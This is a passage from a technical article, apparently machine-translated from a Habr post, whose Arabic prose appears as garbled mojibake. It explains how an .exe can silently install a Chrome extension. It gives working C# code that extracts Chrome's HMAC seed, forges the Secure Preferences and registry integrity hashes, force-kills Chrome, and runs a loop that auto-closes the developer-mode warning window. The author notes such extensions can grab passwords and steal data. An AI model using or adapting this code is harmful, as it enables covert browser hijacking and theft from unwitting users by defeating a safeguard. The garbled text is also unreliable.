ูƒุฑูˆู… ุงู„ุนูƒุณูŠ ูˆุงู„ุชู…ุฏูŠุฏ ุงู„ุชุซุจูŠุช



ูŠูˆู… ุฌูŠุฏ ุŒ ุนุฒูŠุฒูŠ ุงู„ู‚ุงุฑุฆ! ูŠุชู… ุชุญุฏูŠุซ Chrome ุŒ ูˆู„ูƒู† ู„ุง ุชูˆุฌุฏ ู…ู‚ุงู„ุงุช ุฌุฏูŠุฏุฉ ุญูˆู„ ูƒูŠููŠุฉ ุชุซุจูŠุช ุฅุถุงูุฉ ุจุฑู…ุฌูŠุฉ ููŠ chrome ุŒ ุฅู„ู‰ ุฌุงู†ุจ - load-extension - ูˆู„ูƒู† ู‡ุฐุง ู„ูŠุณ ุฎูŠุงุฑู†ุง ุŒ ู„ุฃู†ู†ุง ู„ุง ู†ุจุญุซ ุนู† ุทุฑู‚ ุณู‡ู„ุฉ. ุงู„ูŠูˆู… ุณูˆู ุฃุฎุจุฑูƒ ูƒูŠู ู…ู† ุงู„ู…ู…ูƒู† ุญู‚ู‹ุง ุงู„ุญุตูˆู„ ุนู„ู‰ ูƒู„ ุดูŠุก ุจุงุณุชุฎุฏุงู… ุชุทุจูŠู‚ exe-shnik: ูƒู„ู…ุงุช ุงู„ู…ุฑูˆุฑ ุŒ ุชุบูŠูŠุฑ ุงู„ู…ุญุชูˆู‰ ุŒ ูƒูŠููŠุฉ ุงู„ุณุฑู‚ุฉ ุŒ ุฅู„ุฎ. - ูˆู„ูƒู† ู‡ุฐู‡ ู„ูŠุณุช ุฏุนูˆุฉ ู„ู„ุนู…ู„ ุŒ ูˆู„ูƒู† ูู‚ุท ู…ู‚ุงู„ ู„ู„ู…ุฑุงุฌุนุฉ. ูƒู„ ุงู„ุนุตูŠุฑ ุชุญุช ุงู„ู‚ุต.

ูˆู‡ูƒุฐุง ุŒ ู…ุง ุงู„ุฐูŠ ูŠุณู…ุญ ู„ู†ุง ุจุงู„ู‚ูŠุงู… ุจุงู„ุงู…ุชุฏุงุฏ ููŠ ูˆุถุน ุงู„ู…ุทูˆุฑุŸ ุญุณู†ู‹ุง ุŒ ู…ุซู„ ุงู„ุงู…ุชุฏุงุฏ ุงู„ุนุงุฏูŠ ุŒ ูŠู…ูƒู† ุฃู† ูŠุนู…ู„ ุนู„ู‰ ุฌู…ูŠุน ุงู„ู…ูˆุงู‚ุน ุŒ ูˆุนู„ู‰ ุณุจูŠู„ ุงู„ู…ุซุงู„ ุŒ ูƒุณุฑ ูƒู„ู…ุงุช ุงู„ู…ุฑูˆุฑ ุŒ ูˆุชู†ููŠุฐ ุงู„ุฅุนู„ุงู†ุงุช ุŒ ูˆู…ุง ุฅู„ู‰ ุฐู„ูƒ. ู„ูƒู† ุงู„ุงู…ุชุฏุงุฏ ููŠ ูˆุถุน ุงู„ู…ุทูˆุฑ ูŠุชูŠุญ ุงู„ูˆุตูˆู„ ุฅู„ู‰ ู…ูŠุฒุฉ ุฃุฎุฑู‰ ุŒ ูˆุงู„ุชูŠ ูŠุจุฏูˆ ุฃู†ู‡ุง ู„ูŠุณุช ู…ู‡ู…ุฉ ู„ู„ุบุงูŠุฉ ุŒ ูˆู„ูƒู† ูŠู…ูƒู† ุฃู† ุชูƒูˆู† ู…ููŠุฏุฉ: ู„ุฏูŠู†ุง ุฅู…ูƒุงู†ูŠุฉ ุงู„ูˆุตูˆู„ ุฅู„ู‰ ู†ุธุงู… ุงู„ู…ู„ูุงุช. ู†ุนู… ุŒ ุณู†ุทู„ู‚ ู‡ุฐุง ุงู„ุงุณุชุบู„ุงู„ ู…ู† ู…ู„ู exe ุŒ ูˆู…ู† ุญูŠุซ ุงู„ู…ุจุฏุฃ ุŒ ู„ุณู†ุง ุจุญุงุฌุฉ ุฅู„ูŠู‡ ุญู‚ู‹ุง ุŒ ู„ูƒู† ู…ุงุฐุง ู„ูˆุŸ

ู†ุญู† ู†ุญู„ู„ ุงู„ู…ู„ูุงุช


ูˆู‡ูƒุฐุง ุŒ ุจุงู„ู†ุณุจุฉ ู„ู„ู…ุจุชุฏุฆูŠู† ุŒ ูŠู…ูƒู†ูƒ ู…ุนุฑูุฉ ุงู„ู…ู„ูุงุช ุงู„ุชูŠ ุณุชุฎุชู„ู ุจุนุฏ ุชุซุจูŠุช ุงู„ุงู…ุชุฏุงุฏ ุŒ ูŠู…ูƒู†ู†ุง ุฃู† ู†ุฌุฏ ุฃู†ู‡ุงูช appdataูช \ .. \ Local \ Google \ Chrome \ User Data \ <profile> \ Secure Preferences. ุฏุนูˆู†ุง ู†ุณุฎ ุงู„ู…ุญุชูˆูŠุงุช ุŒ ูˆุญุฐู ุงู„ุชู…ุฏูŠุฏ ูˆุงุณุชุนุงุฏุฉ ู†ุณุฎุฉ - ุจุงู… ู‡ู†ุง! ูˆุงู„ุชูˆุณุน ูŠุนู…ู„ ู…ุฑุฉ ุฃุฎุฑู‰. ุจุงู„ู†ุธุฑ ุฅู„ู‰ ุงู„ู…ุนุฑู ุŒ ูŠู…ูƒู†ูƒ ุฃู† ุชุฑู‰ ุฃู† ู‡ู†ุงูƒ ู‚ูŠู…ุชูŠู† ุชุชุบูŠุฑ ู…ุน ู‡ุฐุง ุงู„ู…ูุชุงุญ: extension.settings.id ูˆ protection.macs.extensions.settings.id - ุฃูˆู„ู‡ู…ุง ุงู„ุฅุนุฏุงุฏุงุช ุŒ ูˆุงู„ุซุงู†ูŠ ู‡ูˆ ู†ูˆุน ู…ู† ุงู„ุชุฌุฒุฆุฉ. ู†ุญู† ู†ุชุณู„ู‚ ุฅู„ู‰ ุงู„ุฃู†ูˆุงุน ูˆู†ุฑู‰ - ู‡ุฐุง ู‡ูˆ HMAC SHA256. ูˆู„ูƒู† ู…ุง ุงู„ุฐูŠ ูŠุญุตู„ ุนู„ูŠู‡ ู…ู†ุŸ ุฏุนู†ุง ู†ุฏุฎู„ ููŠ ู…ุตุญุญ ุงู„ุฃุฎุทุงุก ุŒ ูˆู†ุนู„ู‚ ุนู„ู‰ ุงู„ูƒุฑูˆู… ูˆุชุญู…ูŠู„ ุงู„ุฑู…ูˆุฒ ู…ู†
https://chromium-browser-symsrv.commondatastorage.googleapis.com

ุงุบุชุตุงุจ ุงู„ูƒุฑูˆู…


ูˆุงูˆ! ู†ุฌุฏ ุงู„ู…ู„ู pref_hash_calculator.cc ุŒ ุงู„ุชู†ุฒูŠู„ ุŒ ุชุนูŠูŠู† ุงุณุชุฑุงุญุฉ

 std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const 

Op - ู†ุญุตู„ ุนู„ู‰ seed_ - ู…ูุชุงุญ HMAC ุŒ ูˆู†ูƒุชุดู ุฃูŠุถู‹ุง ุฃู†ู‡ ูŠุณู„ุณู„ ุซู„ุงุซุฉ ุฎุทูˆุท ูˆูŠุฃุฎุฐ ุงู„ู†ุชูŠุฌุฉ ูƒู€ HMACSHA256 (device_id + path + value ุŒ seed_). ุญุณู†ู‹ุง ุŒ ุฏุนูˆู†ุง ู†ู„ู‚ูŠ ู†ุธุฑุฉ ุนู„ู‰ ุจุฐูˆุฑู†ุง_ - ูˆู‡ู†ุง ุชู†ุชุธุฑู†ุง ุงู„ุญุฒูŠู†ุฉ ุงู„ุฃูˆู„ู‰: ุฅู†ู‡ุง ู…ุฌุฑุฏ ุณุทุฑ "ChromeRegistryHashStoreValidationSeed" - ุงุณุฃู„ ุŒ ู…ุง ุงู„ุฎุทุฃ ููŠ ุฐู„ูƒุŸ ูˆุฏุนูˆู†ุง ู†ู„ู‚ูŠ ู†ุธุฑุฉ ุนู„ู‰ ู†ุชูŠุฌุฉ ุงู„ุญุณุงุจ ุŒ ู‚ุงุฑู† ุจูŠู† ุงู„ุชุฌุฒุฆุฉ ูˆุงู„ุชุฌุฒุฆุฉ ุงู„ู†ุงุชุฌุฉ ููŠ ุงู„ู…ู„ู ุนู„ู‰ ุทูˆู„ ู‡ุฐุง ุงู„ู…ุณุงุฑ - ู†ุญู† ู†ุดุนุฑ ุจุฎูŠุจุฉ ุฃู…ู„ ุŒ ูˆู„ูƒู† ู„ุง! ุงู„ูƒู„ู…ุฉ ุงู„ุฃุณุงุณูŠุฉ ููŠ ู…ูุชุงุญ "ุงู„ุณุฌู„" ุŒ ู†ุญู† ู†ุชุณู„ู‚ ุฅู„ู‰ ุงู„ุณุฌู„ ูˆู†ู†ุธุฑ - ูˆููŠ ุงู„ุญู‚ูŠู‚ุฉ ุŒ ู‡ุฐุง ู‡ูˆ ู…ูุชุงุญ ุงู„ุชุฌุฒุฆุฉ ููŠ ุงู„ุณุฌู„ ุŒ ูˆุณู†ุญุชุงุฌู‡.

ุงู„ุฎุตู… ุŒ debase ุŒ ูˆููŠ ูƒู„ ู…ูƒุงู† ู‡ุฐุง ุงู„ู…ูุชุงุญ ูู‚ุท ุŒ ู…ุง ู‡ูˆ ุงู„ุฎุทุฃุŸ ุงู„ุขู† ุฏุนูˆู†ุง ู†ู„ู‚ูŠ ู†ุธุฑุฉ ุนู„ู‰ ูƒู… ู…ู† ุงู„ูˆู‚ุช ูŠุฌุจ ุฃู† ูŠูƒูˆู† ู…ูุชุงุญ ู‚ูŠุงุณูŠ ู„ู€ HMACSHA256ุŸ 64 ุจุงูŠุช ุŒ ูˆุนู„ู‰ ุงู„ุฃุฑุฌุญ ู‡ุฐุง ู„ูŠุณ ุฎุทู‹ุง ุŒ ูˆู„ูƒู† ู†ูˆุนู‹ุง ู…ุง ู…ู† ุงู„ุจุงูŠุชุงุช. ุงู„ูุฑุฒุŸ ู„ูŠุณ ู„ุฏูŠูƒ ูˆู‚ุช! ุงู„ุงูุชุฑุงุถ ุงู„ุฃูˆู„ - ุงู„ุจุฐุฑุฉ _ ูŠุชู… ุชุฑู…ูŠุฒู‡ ููŠ ูƒู„ ุฅุตุฏุงุฑ ู…ู† chrome - ุฏุนูˆู†ุง ู†ุญุงูˆู„ ูุฑุฒ ุฌู…ูŠุน ุงู„ุฎูŠุงุฑุงุช ู„ู„ุจุงูŠุช 64x ุนู„ู‰ ุงู„ุชูˆุงู„ูŠ ููŠ ุงู„ุซู†ุงุฆูŠุงุช ูˆู…ู„ูุงุช chrome. ู†ูƒุชุจ ู†ุตู‹ุง ุจุณูŠุทู‹ุง ูˆู†ุญุตู„ ุนู„ู‰ ุงู„ู†ุชูŠุฌุฉ ุงู„ุฃูˆู„ู‰ ููŠ ุบุถูˆู† ุณุงุนุฉ ุชู‚ุฑูŠุจู‹ุง: ุชูƒู…ู† ุจุฐูˆุฑู†ุง ููŠ resources.pak. ุฏุนูˆู†ุง ุฌูˆุฌู„ ุงู„ู‡ูŠูƒู„.



ุงู„ุฅุตุฏุงุฑ 4 ุŒ ู„ุฏูŠู†ุง ู‡ูˆ 5. ู‡ู†ุงูƒ ุฎุทุฃ ู…ุง ุŒ ุฑุจู…ุง ู„ู… ูŠุชุบูŠุฑ ุงู„ู‡ูŠูƒู„ุŸ ู„ูƒู† ู„ุง. ุจุนุฏ ุจุนุถ ุงู„ู…ุญุงูˆู„ุงุช ุŒ ู†ุญุตู„ ุนู„ู‰ ุฃู† ุงู„ุจู†ูŠุฉ ูƒู…ุง ูŠู„ูŠ: ุฅุตุฏุงุฑ 4 ุจุงูŠุช (5) ุŒ 4 ุจุงูŠุช - ุชุดููŠุฑุŸ (1) ุŒ 2 ุจุงูŠุช - ุนุฏุฏ ุงู„ุณุฌู„ุงุช ุŒ 2 ุจุงูŠุช ุŒ ู„ูŠุณ ู…ู† ุงู„ูˆุงุถุญ ู…ุงุฐุง. ููŠู…ุง ูŠู„ูŠ ุงู„ุฅุฏุฎุงู„ุงุช ุจุงู„ุชู†ุณูŠู‚: 2 ุจุงูŠุช - ู…ุนุฑู ุŒ 4 ุจุงูŠุช - ุฅุฒุงุญุฉ ู†ุณุจุฉ ุฅู„ู‰ ุจุฏุงูŠุฉ ุงู„ู…ู„ู. ู†ุญู† ู†ุจุญุซ ุนู† ู‚ุณู… ุจุทูˆู„ 64 ุจุงูŠุช - ูˆู†ุนู… ุŒ ู„ู‚ุฏ ูˆุฌุฏู†ุงู‡ ุŒ ู‡ุฐู‡ ู‡ูŠ ุงู„ุจุฐุฑุฉ. ุงู„ุขู† ุฏุนู†ุง ู†ูƒุชุจ ูˆุธูŠูุฉ ู„ู„ุจุญุซ ุนู† seed_ in resources.pak ู„ู…ู„ู ุงู„ุฅุตุฏุงุฑ ุงู„ุฑุงุจุน ูˆุงู„ุฎุงู…ุณ:

 public static byte[] GetSeed(string resources_pak) { //Open stream using (FileStream fs = File.OpenRead(resources_pak)) using (BinaryReader reader = new BinaryReader(fs)) { // Read in all pairs. //4 bytes - Version (Assume, that is 5 or 4) int version = reader.ReadInt32(); int second_dword = reader.ReadInt32(); int count = 0; if (version == 0x05) { count = (reader.ReadUInt16()) + 1; reader.ReadUInt16(); } else { count = second_dword; //Skip useless byte reader.ReadByte(); } uint last_offset = (uint)(count) * 6 + (uint)fs.Position; for (int i = 0; i < count; i++) { //Word: ID uint id = (uint)reader.ReadInt16(); //DWord: Offset from file start uint offset = (reader.ReadUInt32()); //Assume, that seed_ is 64 bytes long if (offset - last_offset == 64) { //Save last position in file long last = fs.Position; //Go to section position fs.Seek(last_offset, SeekOrigin.Begin); //Allocate space uint want = offset - last_offset; byte[] u = new byte[want]; for (int o = 0; o < want; o++) u[o] = reader.ReadByte(); //Return carret back fs.Seek(last, SeekOrigin.Begin); return u; } last_offset = offset; } } return null; } 

ุญุณู†ู‹ุง ุŒ ุฏุนูˆู†ุง ู†ุบูŠุฑ ุงู„ุฅุนุฏุงุฏุงุช ุŒ ูˆู†ุญุงูˆู„ ุงุณุชุจุฏุงู„ ุงู„ุชุฌุฒุฆุฉ - ุงู„ูุดู„. ุฃูˆู„ ุดูŠุก ูŠู…ูƒู†ูƒ ุฃู† ุชุฌุฏู‡ ููŠ ุฃู†ูˆุงุน ุงู„ูƒุฑูˆู… ู‡ูˆ ุฅุฒุงู„ุฉ ูƒู„ ุงู„ูƒุงุฆู†ุงุช ุงู„ูุงุฑุบุฉ ู…ู† ุงู„ู‚ูŠู…ุฉ. ุญุณู†ู‹ุง ุŒ ู„ู‚ุฏ ู‚ูŠู„ - ุชู….

ูุดู„ ู…ุฑุฉ ุฃุฎุฑู‰ - ู†ุญู† ุจุญุงุฌุฉ ุฅู„ู‰ ุฅู†ุดุงุก ู†ูุณ HMACSHA256 ู…ู† protection.macs ูƒุฐู„ูƒ ุŒ ูŠุฌุจ ุญุฐู ุงู„ู…ุณุงุฑ ููŠ ู‡ุฐู‡ ุงู„ุญุงู„ุฉ. ุนุธูŠู…! ุชู„ู‚ู‰. ู„ูƒู†ู†ุง ู†ุณูŠู†ุง ุชู…ุงู…ู‹ุง ุนู† device_id - ุฃูŠู† ูŠู…ูƒู†ู†ูŠ ุงู„ุญุตูˆู„ ุนู„ูŠู‡ุŸ ููŠ ุงู„ุฅุตุฏุงุฑุงุช ุงู„ู‚ุฏูŠู…ุฉ ุŒ ูŠูƒูˆู† ู‡ุฐุง ู‡ูˆ ู…ุนุฑู ุงู„ุฌู‡ุงุฒ ู…ู† ุจุนุถ ู…ูƒุชุจุฉ RLZ ู„ุฌู‡ุฉ ุฎุงุฑุฌูŠุฉ. ููŠ ุงู„ุฌุฏูŠุฏ ุŒ ูู‚ุท SID ู„ู„ูƒู…ุจูŠูˆุชุฑ. ูƒูŠู ุชุญุตู„ ุนู„ูŠู‡ุŸ ุจุงู„ู†ุณุจุฉ ู„ู„ุฎูŠุงุฑ ุงู„ุซุงู†ูŠ ูˆุงู„ุฅุตุฏุงุฑุงุช ุงู„ุฌุฏูŠุฏุฉ ู…ู† Chrome:

 public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else { // Consider throwing an exception since no result was found } if (err == 0) { if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid)) { err = Marshal.GetLastWin32Error(); } else { string sidString = Marshal.PtrToStringAuto(ptrSid); LocalFree(ptrSid); return sidString; } } return null; } 

ูˆู„ู„ู†ุณุฎุฉ ุงู„ู‚ุฏูŠู…ุฉ:

 public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); } 

ูˆู‡ูƒุฐุง ุŒ ูŠุธู„ ุงู„ุณุฎุฑูŠุฉ ู…ู† ุงู„ุฅุนุฏุงุฏุงุช ูˆุญูุธ ุงู„ู…ู„ู ุŒ ู…ุน ุฅุบู„ุงู‚ ุงู„ูƒุฑูˆู…:

  public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = "  "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process(); // Stop the process from opening a new window process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; // Setup executable and parameters process.StartInfo.FileName = @"taskkill.exe"; process.StartInfo.Arguments = "/im chrome.exe /f"; // Go process.Start(); process.WaitForExit(); Thread.Sleep(150); File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences); } 

ู„ุงุญุธ ุฃูŠุถู‹ุง ุฃู†ู‡ ุนู†ุฏ ูุชุญ ุงู„ู…ุชุตูุญ ุงู„ุขู† ุŒ ูŠุชู… ูุชุญ ู†ุงูุฐุฉ "ุชุนุทูŠู„ ุงู„ุฅุถุงูุงุช ููŠ ูˆุถุน ุงู„ู…ุทูˆุฑ" - ูƒูŠููŠุฉ ุฅุบู„ุงู‚ู‡ุง ู‡ูŠ ุจุงู„ูุนู„ ุงุฎุชูŠุงุฑ ุงู„ุฌู…ูŠุน. ูƒูŠู ูŠู…ูƒู†ู†ูŠ ุชุฑูƒ ุฏูู‚ ุฎู„ููŠ ูŠุคุฏูŠ ุฅู„ู‰ ุฅุบู„ุงู‚ ู‡ุฐู‡ ุงู„ู†ุงูุฐุฉ ู…ู† ุฎู„ุงู„ WinAPI:

 public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } } 

ุญุธุง ุณุนูŠุฏุง ูˆุงู„ุงุฎุชุฑุงู‚ ุงู„ุฃุฎู„ุงู‚ูŠ! ู…ู† ูŠุนุฑู ูƒูŠููŠุฉ ุงู„ู‚ูŠุงู… ุจุงู„ุดูŠุก ู†ูุณู‡ ู…ุน ู…ุชุตูุญ Yandex - ุณูŠูƒูˆู† ู…ู† ุงู„ู…ุซูŠุฑ ู„ู„ุงู‡ุชู…ุงู… ู…ุนุฑูุฉ ู…ุง ุฅุฐุง ูƒู†ุช ุฃุญุงูˆู„ ุงู„ุชู‚ุงุทู‡ ู„ู…ุฏุฉ ุฃุณุจูˆุน ุงู„ุขู† ุŒ ูู‡ูˆ ู„ุง ูŠุนู…ู„.

Source: https://habr.com/ru/post/ar438898/


All Articles